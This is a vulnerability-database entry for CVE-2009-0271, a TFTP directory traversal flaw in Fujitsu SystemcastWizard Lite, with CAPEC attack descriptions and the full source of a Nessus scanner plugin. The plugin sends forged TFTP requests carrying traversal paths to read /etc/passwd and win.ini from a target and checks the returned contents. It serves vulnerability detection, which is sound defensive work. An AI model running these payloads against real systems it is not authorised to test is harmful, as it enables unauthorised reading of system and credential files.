Vulnerabilities > CVE-2009-0271 - Path Traversal vulnerability in Fujitsu Systemcastwizard Lite

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
NONE
Availability impact
NONE
network
low complexity
fujitsu
CWE-22
nessus

Summary

Directory traversal vulnerability in the TFTP service in Fujitsu SystemcastWizard Lite 2.0A, 2.0, 1.9, and earlier allows remote attackers to read arbitrary files via directory traversal sequences in unspecified vectors.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Nessus

NASL familyMisc.
NASL idTFTPD_DIR_TRAV.NASL
descriptionThe TFTP (Trivial File Transfer Protocol) server running on the remote host is vulnerable to a directory traversal attack that allows an attacker to read arbitrary files on the remote host by prepending their names with directory traversal sequences.
last seen2020-03-18
modified2005-05-16
plugin id18262
published2005-05-16
reporterThis script is Copyright (C) 2005-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/18262
titleTFTP Traversal Arbitrary File Access
code
#
# (C) Tenable Network Security, Inc.
#

# This script replaces the old C plugin "tftp_grab_file".
#
# References:
# From:	Luigi Auriemma <[email protected]>
# To:	[email protected], [email protected],
#	[email protected],[email protected],[email protected]
# Date:	Wed, Apr 2, 2008 at 8:42 PM
# Subject: Directory traversal in LANDesk Management Suite 8.80.1.1
#
# From:	Luigi Auriemma <[email protected]>
# To:	[email protected],[email protected],
#	[email protected],[email protected],[email protected],
# Date:	Mon, Mar 31, 2008 at 9:48 PM
# Subject: Directory traversal in 2X ThinClientServer v5.0_sp1-r3497
#

include("compat.inc");

if (description)
{
  script_id(18262);
  script_version("1.54");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/02/26");

  script_cve_id(
    "CVE-1999-0183",
    "CVE-1999-0498",
    "CVE-2002-2353",
    "CVE-2009-0271",
    "CVE-2009-0288",
    "CVE-2009-1161"
  );
  script_bugtraq_id(
    6198,
    11582,
    11584,
    33287,
    33344,
    35040,
    42907,
    48272,
    50441,
    52938
  );
  script_xref(name:"EDB-ID", value:"14857");
  script_xref(name:"EDB-ID", value:"17507");
  script_xref(name:"EDB-ID", value:"18718");

  script_name(english:"TFTP Traversal Arbitrary File Access");
  script_summary(english:"Attempts to grab a file through TFTP");

  script_set_attribute(attribute:"synopsis", value:
"The remote TFTP server can be used to read arbitrary files on the
remote host.");
  script_set_attribute(attribute:"description", value:
"The TFTP (Trivial File Transfer Protocol) server running on the remote
host is vulnerable to a directory traversal attack that allows an
attacker to read arbitrary files on the remote host by prepending
their names with directory traversal sequences.");
  script_set_attribute(attribute:"solution", value:
"Disable the remote TFTP daemon, run it in a chrooted environment, or
filter incoming traffic to this port.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-1999-0498");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Distinct TFTP 3.10 Writable Directory Traversal Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'D2ExploitPack');
  script_cwe_id(22, 264);

  script_set_attribute(attribute:"vuln_publication_date", value:"1986/04/19");
  script_set_attribute(attribute:"plugin_publication_date", value:"2005/05/16");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_copyright(english:"This script is Copyright (C) 2005-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Misc.");

  # Warning! We cannot depend on tftpd_backdoor!
  script_dependencies('tftpd_detect.nasl', "os_fingerprint.nasl");
  script_require_keys("Services/udp/tftp");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("dump.inc");
include("tftp.inc");
include("misc_func.inc");
include("data_protection.inc");

if(islocalhost()) exit(0, "This plugin does not run against the localhost.");	# ?
if ( TARGET_IS_IPV6 ) exit(0, "This plugin does not run over IPv6.");

global_var	nb;
function tftp_grab(port, file)
{
 local_var	req, rep, sport, ip, u, filter, data, i;

 req = '\x00\x01'+file+'\0netascii\0';
 sport = rand() % 64512 + 1024;

 ip = forge_ip_packet(ip_hl : 5, ip_v: 4,  ip_tos:0,
	ip_len:20, ip_off:0, ip_ttl:64, ip_p:IPPROTO_UDP,
	ip_src: compat::this_host());

 u = forge_udp_packet(ip:ip, uh_sport: sport, uh_dport:port, uh_ulen: 8 + strlen(req), data:req);

 filter = 'udp and dst port ' + sport + ' and src host ' + get_host_ip() + ' and udp[8:1]=0x00';

 data = NULL;
 for (i = 0; i < 2; i ++)	# Try twice
 {
  rep = send_packet(u, pcap_active:TRUE, pcap_filter:filter);
  if(rep)
  {
   if (debug_level > 2) dump(ddata: rep, dtitle: 'TFTP (IP)');
   data = get_udp_element(udp: rep, element:"data");
   if (debug_level > 1) dump(ddata: data, dtitle: 'TFTP (UDP)');
   if (data[0] == '\0' && data[1] == '\x03')
   {
     local_var	c;
     c = substr(data, 4);
     # debug_print('Content of ',file, "= ", c, '\n'r);
     set_kb_item(name: 'tftp/'+port+'/filename/'+ nb, value: file);
     set_kb_item(name: 'tftp/'+port+'/filecontent/'+ nb, value: c);
     nb ++;
     return c;
   }
   else
     return NULL;
  }
 }
 return NULL;
}

port = get_kb_item('Services/udp/tftp');
if (! port) port = 69;
nb = 0;

if (!get_udp_port_state(port)) audit(AUDIT_PORT_CLOSED, port, "UDP");


exploits = make_array();
exploits['windows'] = make_list(
  "win.ini",
  "Windows/win.ini",
  "WINNT/win.ini",
  "/Windows/win.ini",
  "/WINNT/win.ini",
  mult_str(str:"../", nb:10) + "Windows/win.ini",
  mult_str(str:"../", nb:10) + "WINNT/win.ini",
  mult_str(str:".../", nb:10) + "Windows/win.ini",
  mult_str(str:".../", nb:10) + "WINNT/win.ini",
  "x/" + mult_str(str:"../", nb:10) + "Windows/win.ini",
  "x/" + mult_str(str:"../", nb:10) + "WINNT/win.ini",
  "x/Windows/win.ini",
  "x/WINNT/win.ini",
  "C:/Windows/win.ini",
  "C:/WINNT/win.ini",
  "Windows\win.ini",
  "WINNT\win.ini",
  "\Windows\win.ini",
  "\WINNT\win.ini",
  mult_str(str:"..\", nb:10) + "Windows\win.ini",
  mult_str(str:"..\", nb:10) + "WINNT\win.ini",
  mult_str(str:"...\", nb:10) + "Windows\win.ini",
  mult_str(str:"...\", nb:10) + "WINNT\win.ini",
  "x\" + mult_str(str:"..\", nb:10) + "Windows\win.ini",
  "x\" + mult_str(str:"..\", nb:10) + "WINNT\win.ini",
  "x\Windows\win.ini",
  "x\WINNT\win.ini",
  "C:\Windows\win.ini",
  "C:\WINNT\win.ini"
);
exploits['nix'] = make_list(
  "/etc/passwd",
  mult_str(str:"../", nb:10) + "etc/passwd"
);

vulns = make_list();
obtained_contents = "";
obtained_file = "";

os = get_kb_item("Host/OS");

foreach os_type (keys(exploits))
{
  # Run all exploits in paranoid mode
  # otherwise just for the detected OS
  if (!isnull(os) && report_paranoia < 2)
  {
    if ("windows" >< tolower(os) && os_type != "windows") continue;
    if ("windows" >!< tolower(os) && os_type == "windows") continue;
  }

  exploit_list = exploits[os_type];

  foreach file (exploit_list)
  {
    # Try using netascii mode.
    f = tftp_grab(port: port, file: file);
    # If that failed, try octet mode.
    if (isnull(f)) f = tftp_get(port:port, path:file);
    if (f)
    {
      # Check contents
      if (
        ("win.ini" >< file && "; for 16-bit app support" >< f) ||
        ("win.ini" >< file && "[Mail]" >< f) ||
        (f =~ "root:.*:0:[01]:")
      )
      {
        vulns = make_list(vulns, file);
        obtained_file = file;
        if (strlen(f) > 600)
          obtained_contents = substr(f, 0, 600);
        else
          obtained_contents = f;

        if (!thorough_tests) break;
      }
    }
  }
  if (max_index(vulns) && !thorough_tests) break;
}

if (max_index(vulns))
{
  if (report_verbosity > 0)
  {
    vulns = list_uniq(vulns);
    foreach vuln (vulns)
      successful_attempts += '\n  '+vuln;
    obtained_contents = data_protection::redact_etc_passwd(output:obtained_contents);
    report =
      '\n' + 'Nessus was able to access a system file via the TFTP server' +
      '\n' + 'using each of the following requests : ' +
      '\n' +
      successful_attempts +
      '\n';

    if (!get_kb_item("global_settings/enable_plugin_debugging") &&
        !isnull(get_preference("sc_version")))
    {
      report +=
        '\n' + 'Here is the contents of the file Nessus was able to obtain :' +
        '\n' + snip +
        '\n' + obtained_contents +
        '\n' + snip +
        '\n';
      security_warning(port:port, proto:"udp", extra:report);
    }
    else
    {
      # Sanitize file names
      if ("/" >< obtained_file) obtained_file = ereg_replace(pattern:"^.+/([^/]+)$", replace:"\1", string:obtained_file);
      else if ("\" >< obtained_file) obtained_file = ereg_replace(pattern:"^.+\\([^\\]+)$", replace:"\1", string:obtained_file);

      report +=
        '\n' + 'Attached is a copy of the contents' + '\n';

      attachments = make_list();
      attachments[0] = make_array();
      attachments[0]["type"] = "text/plain";
      attachments[0]["name"] = obtained_file;
      attachments[0]["value"] = obtained_contents;

      security_report_with_attachments(
        port  : port,
        proto : "udp",
        level : 2,
        extra : report,
        attachments : attachments
      );
    }
  }
  else security_warning(port:port, proto:"udp");
}
else audit(AUDIT_LISTEN_NOT_VULN, "TFTP server", port);